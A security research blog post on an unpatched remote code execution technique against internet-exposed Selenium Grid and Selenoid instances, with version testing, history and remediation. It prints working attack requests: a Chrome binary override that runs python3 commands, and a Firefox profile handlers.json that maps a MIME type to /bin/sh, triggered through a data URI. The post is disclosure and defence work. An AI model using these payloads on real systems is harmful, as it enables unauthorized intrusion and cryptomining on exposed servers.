SeleniumGreed: The RCE That Was Always There

TL;DR

Every Selenium Grid instance deployed with Firefox nodes is vulnerable to unauthenticated remote code execution. Not “was” - is. The technique was reported to Selenium in May 2021. Their response: better documentation and an optional basic auth flag. The actual vulnerability was never patched and works on every Grid version through 4.40.0 (the latest release at the time of writing).

Chrome had a similar issue via binary override, patched in Grid 4.11.0. Wiz Research focused their 2024 SeleniumGreed paper on Chrome. They missed Firefox entirely - and that’s the one that still works everywhere.

We wrote a unified Metasploit module that auto-detects available browsers and picks the best attack vector. Firefox preferred, Chrome as fallback.

Background

At LeakIX, we monitor exposed services across the internet. Selenium Grid instances are a recurring sight - browser automation platforms used for CI/CD testing, deployed by default without any authentication.

In July 2024, Wiz Research published “SeleniumGreed”, documenting active cryptomining campaigns targeting these exposed instances. Their research focused on how attackers override Chrome’s binary path via goog:chromeOptions to execute arbitrary code.

Good research. But they only looked at Chrome. And Chrome was patched in 4.11.0 with the stereotype capabilities merge. What about Firefox?

Two Attack Vectors, One API

Selenium Grid’s WebDriver API accepts session creation requests at /session with arbitrary capabilities. Two browsers, two exploitation paths.

Chrome: Binary Override (patched in 4.11.0)

ChromeDriver accepts a binary field in goog:chromeOptions. Point it at /usr/bin/python3, pass your payload as -c argument, done:

POST /session HTTP/1.1
Content-Type: application/json

{
  "capabilities": {
    "alwaysMatch": {
      "browserName": "chrome",
      "goog:chromeOptions": {
        "binary": "/usr/bin/python3",
        "args": ["-cimport os;os.system('id')"]
      }
    }
  }
}

This was fixed in Selenium Grid 4.11.0 via the stereotype capabilities merge - the Grid now overrides user-supplied binary paths with its own configuration. Selenoid never got this fix (project archived December 2024).

Firefox: Profile Handler Injection (never patched)

This is the interesting one. Firefox accepts custom profiles via moz:firefoxOptions. You can inject a handlers.json that maps a custom MIME type to an arbitrary executable:

{
  "defaultHandlersVersion": {"en-US": 4},
  "mimeTypes": {
    "application/sh": {
      "action": 2,
      "handlers": [{"name": "sh", "path": "/bin/sh"}]
    }
  }
}

Zip it, base64-encode it, send it as the profile. Then navigate to a data:application/sh URI containing your payload. Firefox looks up the handler for application/sh, finds /bin/sh, and executes your content as a shell script.

POST /session HTTP/1.1
Content-Type: application/json

{
  "capabilities": {
    "firstMatch": [{
      "browserName": "firefox",
      "moz:firefoxOptions": {
        "profile": "<base64-encoded zip with handlers.json>"
      }
    }]
  }
}

Then navigate:

POST /session/{id}/url HTTP/1.1
Content-Type: application/json

{"url": "data:application/sh;charset=utf-16le;base64,<base64-encoded shell script>"}

This has never been patched. Not in 4.11.0, not in 4.20.0, not in 4.40.0. We tested every major version. All vulnerable.

“Working As Intended”

The Firefox profile handler technique was first reported in SeleniumHQ/selenium#9526 in May 2021 by Jon Stratton, who built a complete exploitation toolkit around it.

The Chrome binary override was also reported around the same time in issue #9060.

The Selenium team’s response to both: these are features, not bugs. The Grid is designed to accept arbitrary capabilities. If you don’t want people using it, don’t expose it without authentication. They added documentation warnings and an optional --username/--password flag for basic auth.

For Chrome, they eventually fixed it anyway in 4.11.0 - not by restricting capabilities, but by having the Grid’s stereotype override user-supplied values. A side effect of an unrelated architecture change.

For Firefox, nothing. The profile injection path was never touched. Five years later, it still works exactly the same way.

Version Bisecting

We set up a local Docker lab and tested systematically.

Chrome binary override

VersionVulnerable?
4.1.0Yes
4.10.0Yes
4.11.0No (stereotype merge)
4.12.1No

Firefox profile handler

VersionVulnerable?
4.1.0Yes
4.10.0Yes
4.11.0Yes
4.12.1Yes
4.20.0Yes
4.40.0Yes (latest)

Every. Single. Version.

What Was Already Out There

Wiz Research (July 2024)

Focused entirely on Chrome. Documented the attack from real-world cryptomining campaigns. Stated they would “refrain from publicly sharing more information” about exploitation on recent versions. They missed the Firefox vector entirely - the one that was never patched and still works on the version they were running when they published.

Existing Metasploit modules (January 2025)

Two Selenium RCE modules were merged into Metasploit:

  1. selenium_greed_chrome_rce_cve_2022_28108 - Tied to CVE-2022-28108, a CSRF vulnerability where Selenium Grid accepted non-JSON content types. But the module sends application/json directly from Metasploit. There’s no browser, no CSRF, no cross-origin request. CORS and CSRF are browser-enforced mechanisms - they don’t exist when you’re sending HTTP requests from a pentest tool. The CSRF framing had no business being there.

  2. selenium_greed_firefox_rce_cve_2022_28108 - Uses the Firefox profile handler technique. The approach is valid, but it was wrapped in a bash script that hardcoded sudo su root -c /bin/bash to pipe the payload through. Why? Because the FETCH payload writes to ./ (the current working directory), and Firefox’s handler runs /bin/sh with a cwd of / - which isn’t writable by seluser. Instead of figuring out why wget was silently failing, the workaround was to escalate to root first so write permissions wouldn’t matter. Setting FETCH_WRITABLE_DIR=/tmp is the actual fix - one line in the module’s DefaultOptions.

Jon Stratton (May 2021)

The original researcher who reported both issues and built exploitation tooling. Did the work, documented it properly, and nobody paid attention for three years until Wiz found the same thing in the wild.

Selenoid: All Versions Vulnerable

Selenoid, a popular Go-based alternative to Selenium Grid, proxies all capabilities directly to browser drivers without filtering. Authentication was “not in our roadmap.” The project was archived in December 2024. No fix will ever be released.

Both Chrome and Firefox techniques work on every Selenoid version ever released.

Our Module

Our unified Metasploit module replaces both existing modules with a single file that does the right thing:

  • Auto-detection - Queries /status to identify Grid vs Selenoid, enumerates available browsers, picks the best vector
  • Firefox preferred - Works on all Grid versions since it was never patched. Chrome is the fallback for Grid < 4.11.0 and Selenoid
  • Clean payload delivery - No bash wrappers, no hardcoded sudo. Uses MSF’s own FETCH_WRITABLE_DIR for proper file handling
  • FileDropper - Cleans up FETCH payload artifacts on disk
  • moved_from aliases - Both old module paths still resolve to the new unified module

It’s Not a Bug, It’s a Feature (That Will Own You)

This is the uncomfortable part. The Selenium team isn’t wrong - these are features. The Grid is designed to give you full control over browser sessions. Custom profiles, custom binaries, arbitrary capabilities - that’s the whole point.

The problem isn’t Selenium Grid. The problem is exposing it to the internet without authentication. The default Docker image ships with no auth. The default docker run command in every tutorial binds to 0.0.0.0:4444. There’s no warning during startup, no first-run wizard asking you to set a password.

For Chrome, there’s at least a version boundary now - upgrade past 4.11.0 and the binary override stops working. For Firefox, there is no version you can upgrade to. The only mitigation is authentication or network segmentation.

If you have a Selenium Grid with Firefox nodes exposed to the internet right now, it doesn’t matter what version you’re running. Someone can get a shell on it with two HTTP requests.

Remediation

  • Network segmentation - Never expose Selenium Grid to the internet. Period. Use firewall rules, VPN, or private networks
  • Authentication - Use --username and --password flags, or put a reverse proxy with auth in front
  • Selenium Grid with Chrome only - Upgrade to 4.11.0+ to block the binary override
  • Selenium Grid with Firefox - No patch exists. Authentication or network controls are your only options
  • Selenoid - Project archived, no fix coming. Migrate to a maintained alternative
  • Monitor - Check LeakIX to see if your instances are exposed

Timeline

  • May 2021: Jon Stratton reports Firefox profile handler and Chrome binary override to Selenium (#9526, #9060)
  • 2021: Selenium team responds with documentation improvements and optional basic auth
  • 2023: Cryptomining campaigns actively exploiting exposed instances in the wild
  • 2023: Selenium Grid 4.11.0 fixes Chrome binary override via stereotype merge
  • July 2024: Wiz Research publishes SeleniumGreed (Chrome only)
  • December 2024: Selenoid project archived
  • January 2025: Existing MSF modules merged (incorrect CSRF framing, sudo wrapper hack)
  • February 2026: Our unified module with Firefox support, proper payload delivery, and Selenoid auto-detection

References